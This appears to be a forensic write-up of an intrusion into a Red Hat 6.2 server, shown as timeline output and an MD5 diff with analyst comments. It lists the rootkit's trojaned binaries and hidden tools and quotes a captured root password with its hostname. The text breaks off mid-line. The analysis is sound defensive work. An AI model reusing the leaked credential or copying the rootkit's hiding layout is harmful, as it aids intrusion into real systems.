/t/bin/gunzip 46384 .a. -rwxr-xr-x root root /t/bin/gzip 46384 .a. -rwxr-xr-x root root /t/bin/zcat Nov 08 00 15:58:41 144592 .a. -rwxr-xr-x root root /t/bin/tar now something is being unpacked Nov 08 00 15:58:54 75600 .a. -rwxr-xr-x root root /t/bin/egrep 6196 .a. -rwxr-xr-x root root /t/bin/uname Nov 08 00 15:58:55 44880 .a. -rwxr-xr-x root root /t/bin/sed 21264 .a. -rwxr-xr-x root root /t/usr/bin/tr Nov 08 00 15:58:56 25680 .a. -rwxr-xr-x root root /t/bin/date 104316 .a. -rwxr-xr-x root root /t/usr/bin/make 168 .a. -rw-r--r-- root root /t/usr/include/bits/endian.h 2783 .a. -rw-r--r-- root root /t/usr/include/bits/select.h 4673 .a. -rw-r--r-- root root /t/usr/include/bits/sigset.h 5049 .a. -rw-r--r-- root root /t/usr/include/bits/stdio.h 1798 .a. -rw-r--r-- root root /t/usr/include/endian.h 27633 .a. -rw-r--r-- root root /t/usr/include/stdlib.h 3359 .a. -rw-r--r-- root root /t/usr/include/sys/select.h 5374 .a. -rw-r--r-- root root /t/usr/include/sys/types.h Nov 08 00 15:58:57 13436 .a. -rwxr-xr-x root root /t/bin/chmod 41104 .a. -rwxr-xr-x root root /t/bin/mv 1024 m.c drwxrwxrwx root root /t/tmp 207600 .a. -rwxr-xr-x root root /t/usr/bin/as 63376 .a. -rwxr-xr-x root root /t/usr/bin/egcs 63376 .a. -rwxr-xr-x root root /t/usr/bin/gcc and compiled 63376 .a. -rwxr-xr-x root root /t/usr/bin/i386-redhat-linux-gcc 205136 .a. -rwxr-xr-x root root /t/usr/bin/ld 2315 .a. -rw-r--r-- root root /t/usr/include/_G_config.h 1313 .a. -rw-r--r-- root root /t/usr/include/alloca.h 13327 .a. -rw-r--r-- root root /t/usr/include/bits/confname.h 3406 .a. -rw-r--r-- root root /t/usr/include/bits/posix_opt.h 1297 .a. -rw-r--r-- root root /t/usr/include/bits/stdio_lim.h 21810 .a. -rw-r--r-- root root /t/usr/include/bits/string.h 41832 .a. -rw-r--r-- root root /t/usr/include/bits/string2.h 2015 .a. -rw-r--r-- root root /t/usr/include/bits/time.h 4680 .a. -rw-r--r-- root root /t/usr/include/bits/types.h 9512 .a. -rw-r--r-- root root /t/usr/include/features.h 5861 .a. -rw-r--r-- root root /t/usr/include/getopt.h 1021 .a. -rw-r--r-- root root /t/usr/include/gnu/stubs.h 11673 .a. -rw-r--r-- root root /t/usr/include/libio.h 20926 .a. -rw-r--r-- root root /t/usr/include/stdio.h 13456 .a. -rw-r--r-- root root /t/usr/include/string.h 4951 .a. -rw-r--r-- root root /t/usr/include/sys/cdefs.h 2058 .a. -rw-r--r-- root root /t/usr/include/sys/sysmacros.h 5337 .a. -rw-r--r-- root root /t/usr/include/sys/time.h 9314 .a. -rw-r--r-- root root /t/usr/include/time.h 36756 .a. -rw-r--r-- root root /t/usr/include/unistd.h 8512 .a. -rw-r--r-- root root /t/usr/lib/crt1.o 1124 .a. -rw-r--r-- root root /t/usr/lib/crti.o 874 .a. -rw-r--r-- root root /t/usr/lib/crtn.o 1440240 .a. -rwxr-xr-x root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cc1 45488 .a. -rwxr-xr-x root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/collect2 87312 .a. -rwxr-xr-x root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/cpp 1892 .a. -rw-r--r-- root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtbegin.o 1424 .a. -rw-r--r-- root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/crtend.o 5794 .a. -rw-r--r-- root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stdarg.h 9834 .a. -rw-r--r-- root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stddef.h 769892 .a. -rw-r--r-- root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/libgcc.a 1926 .a. -rw-r--r-- root root /t/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs 314936 .a. -rwxr-xr-x root root /t/usr/lib/libbfd-2.9.5.0.22.so 178 .a. -rw-r--r-- root root /t/usr/lib/libc.so 69994 .a. -rw-r--r-- root root /t/usr/lib/libc_nonshared.a Nov 08 00 15:59:07 4096 m.c drwx------ knut 500 /t/home/drosen 52 mac -rw------- knut 500 /t/home/drosen/.bash_history # cat /t/home/drosen/.bash_history gunzip * tar -xvf * rm tpack* cd " " ./install exit Interesting, cd " " .... but it doesn't tell us the name of the software installed, except that "tpack" may be part of the name. A quick search with Google reveals nothing particular. Nov 08 00 15:59:14 20240 .a. -rwxr-xr-x root root /t/bin/rm things are being removed... 34816 m.c drwxr-xr-x root root /t/dev Nov 08 00 15:59:52 9 .a. lrwxrwxrwx root root /t/tmp/.bash_history -> /dev/null Nov 08 00 16:02:22 26 .a. -rw-r--r-- root root /t/etc/host.conf 67580 .a. -rwxr-xr-x root root /t/lib/libnss_dns-2.1.3.so 19 .a. lrwxrwxrwx root root /t/lib/libnss_dns.so.2 -> libnss_dns-2.1.3.so 169720 .a. -rwxr-xr-x root root /t/lib/libresolv-2.1.3.so 18 .a. lrwxrwxrwx root root /t/lib/libresolv.so.2 -> libresolv-2.1.3.so Nov 08 00 16:02:23 68 .a. -rw-r--r-- root root /t/etc/hosts 1567 .a. -rw-r--r-- root root /t/etc/protocols Nov 08 00 16:02:28 10 .a. lrwxrwxrwx root root /t/usr/tmp -> ../var/tmp 1024 m.c drwxrwxrwx root root /t/var/tmp 184 mac -rw-r--r-- root root /t/var/tmp/nap [Q5] Whow! cat /t/var/tmp/nap +-[ User Login ]-------------------- --- --- - - | username: root password: tw1Lightz0ne hostname: c871553-b.jffsn1.mo.home.com +----------------------------------- ----- --- -- -- - Which program will use this info for a backdoor? unrm/Lazarus finds an interesting file fragment: SHELL = /bin/sh srcdir = . top_srcdir = .. prefix = /usr/local exec_prefix = ${prefix} [..] pkgdatadir = $(datadir)/gmp pkglibdir = $(libdir)/gmp pkgincludedir = $(includedir)/gmp top_builddir = .. ACLOCAL = /dev/.oz/.nap/rkit/terror/.oz/ssh-1.2.27/gmp-2.0.2-ssh-2/missing acloc al Here the name nap occures as part of a suspected rootkit ssh module and indeed: # strings /t/usr/local/sbin/sshd1 | grep nap /usr/tmp/nap The ssh installed is trojaned ! Nov 08 00 16:02:30 44108 .a. -rwxr-xr-x root root /t/lib/libproc.so.2.0.6 8860 .a. -r-xr-xr-x root root /t/usr/bin/w Nov 08 00 16:02:31 39423 .a. -r-xr-xr-x root root /t/bin/ps He looks back over shoulder 171 .a. -rw-r--r-- 1010 users /t/dev/ptyp Nov 08 00 16:02:32 12288 .a. -rw-rw-r-- root root /t/etc/psdevtab The trojaned ps uses /dev/ptyp and psdevtab to see what should not be displayed Nov 08 00 16:02:42 166416 .a. -rwxr-xr-x root root /t/usr/bin/pico Nov 08 00 16:03:05 3027 m.c -rw-r--r-- root root /t/etc/inetd.conf change inetd.conf, I think he removes the rootshell on 4545 Nov 08 00 16:03:12 3027 .a. -rw-r--r-- root root /t/etc/inetd.conf 10160 .a. -rwxr-xr-x root root /t/usr/bin/killall probably restart inetd Nov 08 00 16:03:15 24 .a. -rw-r--r-- root root /t/root/.bash_logout 3124 .a. -rwxr-xr-x root root /t/usr/bin/clear 1143 .a. -rw-r--r-- root root /t/usr/share/terminfo/v/vt100 1143 .a. -rw-r--r-- root root /t/usr/share/terminfo/v/vt100-am Nov 08 00 16:53:36 0 .a. crw-r--r-- root root /t/dev/random 512 m.c -rw------- root root /t/etc/ssh_random_seed Work is done, he logs out... he probably started at 15:25, he has installed really a lot of stuff in those 1,5 hours, maybe most of the install process was automated. [Q6] Summarizing on the software that was installed: lpd, yp, amd, nfs, wuftpd, named are all known to have remotely exploitable vulnerabilities, i.e. the intruder has installed multiple backdoors for him to gain access again. Screen and awd have also been replaced but I did not do any research regarding those. Nov 09 00 03:33:45 20480 .a. -rw-r--r-- root root /t/etc/aliases.db 20480 .a. -rw-r--r-- root root /t/etc/mail/access.db 4096 .a. -rw-r--r-- root root /t/etc/mail/mailertable.db 4096 .a. -rw-r--r-- root root /t/etc/mail/virtusertable.db normal mail activity Somebody logs in at half past three the next morning Nov 09 00 03:37:30 20452 .a. -rwxr-xr-x root root /t/bin/login 1262 .a. -rw-r--r-- root root /t/etc/localtime 437 .a. -rw-r--r-- root root /t/etc/pam.d/login 210 .a. -rw-r--r-- root root /t/etc/pam.d/other 64478 .a. -rwxr-xr-x root root /t/lib/libcrypt-2.1.3.so 17 .a. lrwxrwxrwx root root /t/lib/libcrypt.so.1 -> libcrypt-2.1.3.so 75131 .a. -rwxr-xr-x root root /t/lib/libdl-2.1.3.so 14 .a. lrwxrwxrwx root root /t/lib/libdl.so.2 -> libdl-2.1.3.so 14 .a. lrwxrwxrwx root root /t/lib/libpam.so.0 -> libpam.so.0.72 33654 .a. -rwxr-xr-x root root /t/lib/libpam.so.0.72 19 .a. lrwxrwxrwx root root /t/lib/libpam_misc.so.0 -> libpam_misc.so.0.72 10303 .a. -rwxr-xr-x root root /t/lib/libpam_misc.so.0.72 15 .a. lrwxrwxrwx root root /t/lib/libpwdb.so.0 -> libpwdb.so.0.61 140186 .a. -rwxr-xr-x root root /t/lib/libpwdb.so.0.61 35801 .a. -rwxr-xr-x root root /t/lib/security/pam_console.so 14258 .a. -rwxr-xr-x root root /t/lib/security/pam_cracklib.so 5359 .a. -rwxr-xr-x root root /t/lib/security/pam_deny.so 6196 .a. -rwxr-xr-x root root /t/lib/security/pam_nologin.so 35619 .a. -rwxr-xr-x root root /t/lib/security/pam_pwdb.so 7773 .a. -rwxr-xr-x root root /t/lib/security/pam_securetty.so 15 .a. lrwxrwxrwx root root /t/usr/lib/libcrack.so.2 -> libcrack.so.2.7 57882 .a. -rwxr-xr-x root root /t/usr/lib/libcrack.so.2.7 20 .a. lrwxrwxrwx root root /t/usr/lib/libglib-1.2.so.0 -> libglib-1.2.so.0.0.6 164253 .a. -rwxr-xr-x root root /t/usr/lib/libglib-1.2.so.0.0.6 Nov 09 00 03:37:35 40 .a. -rw------- root root /t/etc/securetty Nov 09 00 03:37:37 75600 .a. -rwxr-xr-x root root /t/bin/grep 8896 .a. -rwxr-xr-x root root /t/bin/hostname 26668 .a. -rwxr-xr-x root root /t/bin/stty 0 .a. crw------- root tty /t/dev/tty1 0 ..c crw--w---- root tty /t/dev/vcs1 0 ..c crw--w---- root tty /t/dev/vcsa1 2434 .a. -rw-r--r-- root root /t/etc/DIR_COLORS 582 .a. -rw-r--r-- root root /t/etc/bashrc 0 .a. -rw-r--r-- root root /t/etc/motd 547 .a. -rw-r--r-- root root /t/etc/profile 1024 .a. drwxr-xr-x root root /t/etc/profile.d 234 .a. -rwxr-xr-x root root /t/etc/profile.d/colorls.sh 1522 .a. -rwxr-xr-x root root /t/etc/profile.d/lang.sh 120 .a. -rwxr-xr-x root root /t/etc/profile.d/less.sh 125 .a. -rwxr-xr-x root root /t/etc/profile.d/which-2.sh 134 .a. -rw-r--r-- root root /t/etc/pwdb.conf 601 .a. -rw-r--r-- root root /t/etc/shadow 13 .a. -rw-r--r-- root root /t/etc/sysconfig/i18n 238 .a. -rw-r--r-- root root /t/root/.bash_profile 176 .a. -rw-r--r-- root root /t/root/.bashrc 13776 .a. -rwxr-xr-x root root /t/usr/bin/dircolors 9264 .a. -rwxr-xr-x root root /t/usr/bin/id 7068 .a. -rwxr-xr-x root root /t/usr/bin/tput 17 .a. lrwxrwxrwx root root /t/usr/lib/libncurses.so.4 -> libncurses.so.4.0 262884 .a. -rwxr-xr-x root root /t/usr/lib/libncurses.so.4.0 1576 .a. -rw-r--r-- root root /t/usr/share/terminfo/l/linux 1460292 mac -rw-r--r-- root root /t/var/log/lastlog 768 m.c -rw-r--r-- root root /t/var/log/wtmp 4992 m.c -rw-rw-r-- root 22 /t/var/run/utmp Nov 09 00 03:37:38 0 m.c crw------- root tty /t/dev/tty1 413 .a. -rw-r--r-- root root /t/etc/inputrc 625272 .a. -rw-r--r-- root root /t/etc/termcap 9 .a. lrwxrwxrwx root root /t/root/.bash_history -> /dev/null 3256 .a. -rwxr-xr-x root root /t/usr/bin/mesg login process completed Nov 09 00 03:37:42 9528 .a. -rwxr-xr-x root root /t/bin/cat Nov 09 00 04:01:00 1024 .a. drwxr-xr-x root root /t/etc/cron.hourly 65 .a. -rwxr-xr-x root root /t/etc/cron.hourly/inn-cron-nntpsend 1024 .a. drwxr-xr-x root root /t/etc/rc.d/rc3.d 22912 .a. -rwxr-xr-x root root /t/sbin/chkconfig 2836 .a. -rwxr-xr-x root root /t/sbin/runlevel 579 .a. -rwxr-xr-x root root /t/usr/bin/run-parts Nov 09 00 04:10:00 316848 .a. -rwxr-xr-x root root /t/bin/bash 4 .a. lrwxrwxrwx root root /t/bin/sh -> bash 460 .a. -rw-r--r-- root root /t/etc/group 657 .a. -rw-r--r-- root root /t/etc/passwd 370141 .a. -rwxr-xr-x root root /t/lib/libnsl-2.1.3.so 15 .a. lrwxrwxrwx root root /t/lib/libnsl.so.1 -> libnsl-2.1.3.so 255963 .a. -rwxr-xr-x root root /t/lib/libnss_nis-2.1.3.so 19 .a. lrwxrwxrwx root root /t/lib/libnss_nis.so.2 -> libnss_nis-2.1.3.so 252234 .a. -rwxr-xr-x root root /t/lib/libnss_nisplus-2.1.3.so 23 .a. lrwxrwxrwx root root /t/lib/libnss_nisplus.so.2 -> libnss_nisplus-2.1.3.so 19 .a. lrwxrwxrwx root root /t/lib/libtermcap.so.2 -> libtermcap.so.2.0.8 12224 .a. -rwxr-xr-x root root /t/lib/libtermcap.so.2.0.8 6 .a. lrwxrwxrwx root root /t/sbin/rmmod -> insmod Nov 09 00 04:10:10 56208 .a. -rwsr-xr-x root root /t/bin/mount 760 .a. -rw-r--r-- root root /t/etc/fstab Nov 09 00 04:10:11 3 .a. lrwxrwxrwx root root /t/dev/cdrom -> hdc 3072 m.c drwxr-xr-x root root /t/etc 51 .a. -rw-r--r-- root root /t/etc/conf.modules 248 mac -rw-r--r-- root root /t/etc/mtab something is being mounted.., maybe it's the "normal" sysadmin mounting a cdrom (?) 3460 .a. -rw-r--r-- root root /t/lib/modules/2.2.14-5.0/fs/nls_iso8859-1.o 28633 .a. -rw-r--r-- root root /t/lib/modules/2.2.14-5.0/modules.dep 58608 .a. -rwxr-xr-x root root /t/sbin/insmod insert a module (iso? for cdrom) 6 .a. lrwxrwxrwx root root /t/sbin/modprobe -> insmod Nov 09 00 04:10:27 137567 .a. -rwxr-xr-x root root /t/bin/ls 17 .a. lrwxrwxrwx root root /t/lib/ld-linux.so.1 -> ld-linux.so.1.9.5 25386 .a. -rwxr-xr-x root root /t/lib/ld-linux.so.1.9.5 14 .a. lrwxrwxrwx root root /t/usr/i486-linux-libc5/lib/libc.so.5 -> libc.so.5.3.12 699832 .a. -rwxr-xr-x root root /t/usr/i486-linux-libc5/lib/libc.so.5.3.12 61 .a. -rw-r--r-- root root /t/usr/man/r Look, the trojaned ls is checking what to display and what to hide!!! Nov 09 00 04:11:49 12333 .a. -rw-r--r-- root root /t/etc/ld.so.cache 1744 .a. -rw-r--r-- root root /t/etc/nsswitch.conf 43 .a. -rw-r--r-- root root /t/etc/resolv.conf 11349 .a. -rw-r--r-- root root /t/etc/services 340663 .a. -rwxr-xr-x root root /t/lib/ld-2.1.3.so 11 .a. lrwxrwxrwx root root /t/lib/ld-linux.so.2 -> ld-2.1.3.so 4101324 .a. -rwxr-xr-x root root /t/lib/libc-2.1.3.so 13 .a. lrwxrwxrwx root root /t/lib/libc.so.6 -> libc-2.1.3.so 246652 .a. -rwxr-xr-x root root /t/lib/libnss_files-2.1.3.so 21 .a. lrwxrwxrwx root root /t/lib/libnss_files.so.2 -> libnss_files-2.1.3.so Nov 09 00 04:23:07 29970 .a. -rw-r--r-- root root /t/usr/share/locale/en_US/LC_COLLATE 87756 .a. -rw-r--r-- root root /t/usr/share/locale/en_US/LC_CTYPE 93 .a. -rw-r--r-- root root /t/usr/share/locale/en_US/LC_MONETARY 27 .a. -rw-r--r-- root root /t/usr/share/locale/en_US/LC_NUMERIC 508 .a. -rw-r--r-- root root /t/usr/share/locale/en_US/LC_TIME 2265 .a. -rw-r--r-- root root /t/usr/share/locale/locale.alias Nov 09 00 04:33:47 1024 .a. drwxr-xr-x root mail /t/var/spool/mqueue Nov 09 00 04:50:45 44 .a. -rw-r--r-- root root /t/usr/share/locale/en_US/LC_MESSAGES/SYS_LC_MESSAGES Nov 09 00 05:01:00 4992 .a. -rw-rw-r-- root 22 /t/var/run/utmp Nov 09 00 05:10:01 31607 m.c -rw------- root root /t/var/log/cron [Q3] Let's look at the differences in MD5 checksums against a plain vanilla rh6.2 server install: Therefore graverobber is being run with the -M option on both the /t system and the vmware rh6.2. cut is used to reduce the body files to just the filename and the md5 sum. In the first file "/t/" is replaced by "/". Then the two files are compared using diff. Comments are added to explain blocks of changes. < body|localhost.localdomain (this is the vmware rh6.2) --- > body|teefax (this is the machine where /t/xxx is mounted) Added, presumably by the attacker > d41d8cd98f00b204e9800998ecf8427e|/.automount > 9904fd5f15003f1f98186ad21aa3a81c|/usr/sbin/fixrmtab > d41d8cd98f00b204e9800998ecf8427e|/floppy > d41d8cd98f00b204e9800998ecf8427e|/root/.ssh > 8986e294b3afa9278e829e887491559d|/root/.ssh/random_seed (use of ssh) > f2f630b293b9ecf56e42e7d5d821839c|/etc/amd.conf > 80a1910d9e1160d237d6369d802015d4|/etc/amd.net > 212493d508a4830e337a04f018ac2b7d|/etc/rc.d/rc6.d/K28amd > 212493d508a4830e337a04f018ac2b7d|/etc/rc.d/rc5.d/K28amd > 212493d508a4830e337a04f018ac2b7d|/etc/rc.d/rc4.d/K28amd > 212493d508a4830e337a04f018ac2b7d|/etc/rc.d/rc3.d/K28amd > 212493d508a4830e337a04f018ac2b7d|/etc/rc.d/rc2.d/K28amd > 212493d508a4830e337a04f018ac2b7d|/etc/rc.d/rc1.d/K28amd > 212493d508a4830e337a04f018ac2b7d|/etc/rc.d/rc0.d/K28amd > 212493d508a4830e337a04f018ac2b7d|/etc/rc.d/init.d/amd > ace5ec438b2cde79042748bb352ddd8e|/etc/sysconfig/amd > 619c01196a30fc9adcd36e68c750a06f|/usr/sbin/amd (installation of amd) < 9a198d4f48144e20661df7fd2dc41bf7|/var/lib/nfs/state --- > edcfae989540fd42e4b8556d5b723bb6|/var/lib/nfs/state (re-installation of nfs) > dc69e35ae63a497ae94853a4afb38d05|/etc/psdevtab (new file, part of rootkit, very interesting) > a0245c88315a113fcbe281cb22abb861|/etc/ssh_host_key > ac4ba417f78500a9af686ccdeebe02ea|/etc/ssh_host_key.pub > 5fd2ce512e0eba4d090191e8a1518808|/etc/ssh_config > 0289a5a63160301f4138a5a682e72392|/etc/sshd_config > c68f73eb9692b8f90cb8d81bce74a4d7|/etc/ssh_random_seed < 35b2fc1e7c1f8cd8c9f2285ba39aa81b|/etc/rc.d/rc.local --- > 51aad15a81cb15f80f25981dee6970ca|/etc/rc.d/rc.local (installation of ssh) [Q5] Changed by rootkit: That means that the local investigator should use statically linked ls, netstat, ps and ifconfig to avoid being fooled by the rootkit. < b52af438845c776cde94f67e19cd037a|/sbin/ifconfig < 5ec59b9c05706b4ce65adf44d0d3ab24|/bin/ls < f174e862d00d0998c3fa4ccd632019b5|/bin/netstat < 5e1725f2734365fef9e55398785f3033|/bin/ps < 12fe45680cb81610f2c4f40f1bf0855d|/etc/group < 70c943a610198717c827d27356a79ec6|/etc/hosts.deny < 3a0001d99c0a39bcc79ac695f8c4622b|/etc/passwd < 3a0001d99c0a39bcc79ac695f8c4622b|/etc/passwd- < efe0186ec6424926e7359ab06d794867|/etc/issue < 539691aad3f0110406984ee6799e74f2|/etc/issue.net < f5bd34a10a985e6313a3044161f103dd|/etc/shadow < ec3d3fab58068b5cc461aa89efd4a532|/etc/shadow- < 88fab3f76967ec7e9b50c297fd510e92|/etc/gshadow < ee24882954ba342f6ba59b5b187d7541|/usr/sbin/tcpd < 8d96c7e70be62b338e0be5dee76483f4|/usr/sbin/in.telnetd < c0479ae396d315220d470218f24d58c3|/usr/sbin/in.identd < 3feca7233396bacbb8faff977383be5c|/usr/bin/telnet --- > 086394958255553f6f38684dad97869e|/sbin/ifconfig > 06be0dbe8e41a0266eeeeeb1c1b4c818|/bin/ls > a97916f8eb1b8d8008ea1a7cbd27eb64|/bin/netstat > 1a825eb08cab35257b2e87b065c2a218|/bin/ps > 7448fd535125deac23284d5530a19534|/etc/group > d41d8cd98f00b204e9800998ecf8427e|/etc/hosts.deny > d5ae1d8b5bdb5a94bd1c86cff33543cb|/etc/passwd > e542058fdc3e8b68cf13d5039d4bb107|/etc/passwd- > 7f4e3c169644ed3d10fd001a34b45ab4|/etc/issue > 34eb07515f7c9debed12b225a4b1551b|/etc/issue.net > 441caab56b914a6dbd7b3e2fab90909e|/etc/shadow > 3a5d25d019bb0e2857ff8844080a23cc|/etc/shadow- > de07f1703afca793db651e2f2920973e|/etc/gshadow > 34bb71d17ee9aeb6d3861eea3cf99507|/usr/sbin/tcpd > 42779825eccdcf19cca89e25d71ab440|/usr/sbin/in.telnetd > cf3a5ee7ef3d87f0a7a67133b1c07f8a|/usr/sbin/in.identd > 9bec9e1f926f362f27b1d19ef7af03fd|/usr/bin/telnet [Q5]Removed by RootKit < b6b1d03ca8a3088c6931132b963f02b4|/usr/sbin/snmpd [Q5] Added by RootKit > f95df5b457918299bf37eea91daba23b|/dev/ptyp > a510e3ed46c2588ef03edf9fa00e8ed2|/usr/libexec/awk/addy.awk > 8424433a8ed8a3f60ca19b846e488b01|/var/spool/anacron/cron.daily > 000|/var/run/ndc > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/backup > 5e1725f2734365fef9e55398785f3033|/usr/man/.Ci/backup/ps > 48fbbb48204825866ab3089c2db96e87|/usr/man/.Ci/backup/top > 5ec59b9c05706b4ce65adf44d0d3ab24|/usr/man/.Ci/backup/ls > f174e862d00d0998c3fa4ccd632019b5|/usr/man/.Ci/backup/netstat > b52af438845c776cde94f67e19cd037a|/usr/man/.Ci/backup/ifconfig > ee24882954ba342f6ba59b5b187d7541|/usr/man/.Ci/backup/tcpd > c3496d9f286968cd94e4fa64d4942b57|/usr/man/.Ci/snif > a5db880f0dd31962acdba95870405597|/usr/man/.Ci/a.sh > 0cc2d62bc5b59f9c8fb3c79f4a6cb0a0|/usr/man/.Ci/sp.pl > 5d26e4cc35d2563baa7cc0694278ba12|/usr/man/.Ci/qs > b802ac8530878d7d9f5a7cf06af3bfc8|/usr/man/.Ci/syslogd > 8fb2bd3f5a575987d40b367a03300f2a|/usr/man/.Ci/inetd > 858a9f79f31db4ebf7646a748369eac4|/usr/man/.Ci/clean > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan > b07c30446bd13b752f8d4a6b7d7367c7|/usr/man/.Ci/snap > 207902ad9d854ba1743ca7be4a1373c4|/usr/man/.Ci/q > ece10ed2efa56e3e5e92f71e233da919|/usr/man/.Ci/pstree > e9340864aee2790b395f3c41eecde4a6|/usr/man/.Ci/killall > 26d58504aa969f095043a9fabf684b57|/usr/man/.Ci/fix > 45322bd1168fa5c55b67ff3b96c90460|/usr/man/.Ci/addps > 762d36d34ead50c83d20d2fdfdefcc4c|/usr/man/.Ci/find > 781a640a5f86ca651ea38212bb0ea39f|/usr/man/.Ci/do > 8fa426a0385d0579b44f5c99b56d2553|/usr/man/.Ci/addn > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/paki > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/ > ba5dd81f3232dacc3d6011a11bbd209f|/usr/man/.Ci/rmS > 8d15cd84d9007ca927d695ee41a6cf03|/usr/man/.Ci/bx > 85a1d64f03c11ca7ab6a169e1c5d5945|/usr/man/.Ci/chmod-it > 3794fa9f591984580f1506b1036d0ebe|/usr/man/.Ci/needz > c9fecee213938203f7ade03a873fc905|/usr/man/.Ci/sniff.pid > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/tcp.log > b927bc8ad2eb4b34e1146f0de2c79737|/usr/man/tmac.h > d41d8cd98f00b204e9800998ecf8427e|/usr/man/whatis > 6ea49c31449c9656d9a71fe2de2623a9|/usr/man/p > 6ea49c31449c9656d9a71fe2de2623a9|/usr/man/.p > 88012f2a380ce1d0fae5f5dd81935917|/usr/man/r > be1482d2ce3fe865e099ef75968b262f|/usr/man/.a > ac560de8a3cd70fffb0a4824fd735bcf|/usr/man/.Ci/ /Anap > 28c200f99f196d041006652f834d7faa|/usr/man/.Ci/paki/slice2 > f35de18ffb240a652b926d08abc59096|/usr/man/.Ci/paki/stream.c > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan/statd > 5aaba40718eb5347277888c03e0fd0c5|/usr/man/.Ci/scan/statd/r > 211d54e56888c1b2587f6e9977c1971a|/usr/man/.Ci/scan/statd/statdx > 21d1a781f6ffe1bdfd5dc425f28236ee|/usr/man/.Ci/scan/statd/classb > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan/amd > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan/bind > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan/x > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan/wu > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan/port > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan/daemon > 8d50d5da66c1181272de9d4880230bc9|/usr/man/.Ci/scan/daemon/z0ne > 136f5ea1792f36b3e1083a909e04d981|/usr/man/.Ci/scan/daemon/lscan2.c > d41d8cd98f00b204e9800998ecf8427e|/usr/man/.Ci/scan/port/strobe > 16c712197c3a699c3bfc7c1dc43dbbcd|/usr/man/.Ci/scan/port/strobe/INSTALL > 5c4193d3d12156b464c436a44de6a406|/usr/man/.Ci/scan/port/strobe/Makefile > 029a67aa7f32dc4e929e4f68f6af783e|/usr/man/.Ci/scan/port/strobe/VERSION > dd2f79a3524038efdf38ba11654abfb3|/usr/man/.Ci/scan/port/strobe/strobe.1 > d67d457f0d22a769c3f91493d961f319|/usr/man/.Ci/scan/port/strobe/strobe.c > 7fb1d35ff5c1802c88c710b92b7e9190|/usr/man/.Ci/scan/port/strobe/strobe.services > 5f1a5035b4f21de5799fbcafccff0084|/usr/man/.Ci/scan/wu/wu > 9eb04b9f7cf303d2ea7585d26252a911|/usr/man/.Ci/scan/wu/fs > ea545ae16d6d1e3e799f463c7f7933c1|/usr/man/.Ci/scan/x/x > c3d091be34d54c58c8e524250d8c626c|/usr/man/.Ci/scan/x/xscan > 098ec9c5cfcfa5d446ca10aa9b59d6ef|/usr/man/.Ci/scan/x/xfil > 2a3df7e82205452b94a1564e9d4ef286|/usr/man/.Ci/scan/x/pscan.c > fcde349e9effcc46977e4043a3a4f434|/usr/man/.Ci/scan/x/pscan > a0c44d88049ef14c8c84d6ccfd5d972e|/usr/man/.Ci/scan/bind/ibind.sh > 2a3df7e82205452b94a1564e9d4ef286|/usr/man/.Ci/scan/bind/pscan.c > 4bc1829769830431bf53b4d392cb52db|/usr/man/.Ci/scan/amd/amdx > 0f4bd2b12923d7ec4b2a2909c33ca6d8|/usr/man/.Ci/scan/amd/ben.c > d749b5a8b877d72fccc21be8f64de0e2|/usr/man/.Ci/scan/amd/ben > bcf28cfe87550edc984e45a3cfc19825|/usr/man/.Ci/scan/amd/pscan > 28c892fcde4039516ad1994590cfd4d9|/usr/man/.Ci/scan/amd/pscan.c > 7af0ba674ad17aa683ff047f9642a7cd|/usr/man/.Ci/scan/amd/a.sh > 8d15cd84d9007ca927d695ee41a6cf03|/bin/bx [Q3]Changed by installing different yp, nfs, lpr, awd, screen, make and named software < e44a78836cda66ed8120a2ceb362e25f|/etc/info-dir --- > 73b34ce386771087f93af4209624a3a4|/etc/info-dir < 839db7c17a6cdf7a38ea07f25881df74|/sbin/rpc.statd --- > e5e168184fee89d2eefd86cbe93c3902|/sbin/rpc.statd < a11e8d4ed3016ebe8f4e1686d773f123|/sbin/mount.smb < a11e8d4ed3016ebe8f4e1686d773f123|/sbin/mount.smbfs --- > 056ff055c460d4d119cae4e1b3b5b638|/sbin/mount.smb > 056ff055c460d4d119cae4e1b3b5b638|/sbin/mount.smbfs < a74c76eca6d2bd6ad20a8258e6ba0562|/usr/sbin/named --- > bcdad222fe49c61f58e4a91ebbbb6a3a|/usr/sbin/named < aa8683956d3614e270e32540b1831527|/usr/sbin/lpc < b4532995831b17e1ec5b97338e32707b|/usr/sbin/lpd < 2210b1f7cf6da316d01590f7cf8c1843|/usr/sbin/lpf < 4f7d054cd83ab88308ea465233939259|/usr/sbin/pac --- > 51a16e46cdf32f4315db76d45694dc72|/usr/sbin/lpc > 8aae079ed76edcd1cb07edb382d57b9c|/usr/sbin/lpd > 67dbec92b6fcf529d667c2a2dcf560e5|/usr/sbin/lpf > 669199499321d2e89a4fdc30f8e2ef80|/usr/sbin/pac 15714c15351 < 61858c97b7b6462872ee6b896d415472|/usr/sbin/exportfs --- > b6029bd7db621afed76e752a14744193|/usr/sbin/exportfs 15717,15720c15354,15357 < 9c9b9f503e04148191da977156aed828|/usr/sbin/rpc.mountd < 7b2bc49147bb1ad67b6a3bad22885cc3|/usr/sbin/rpc.nfsd < fb0fafde28eda45d87b7a8b1a8374603|/usr/sbin/rpc.rquotad < 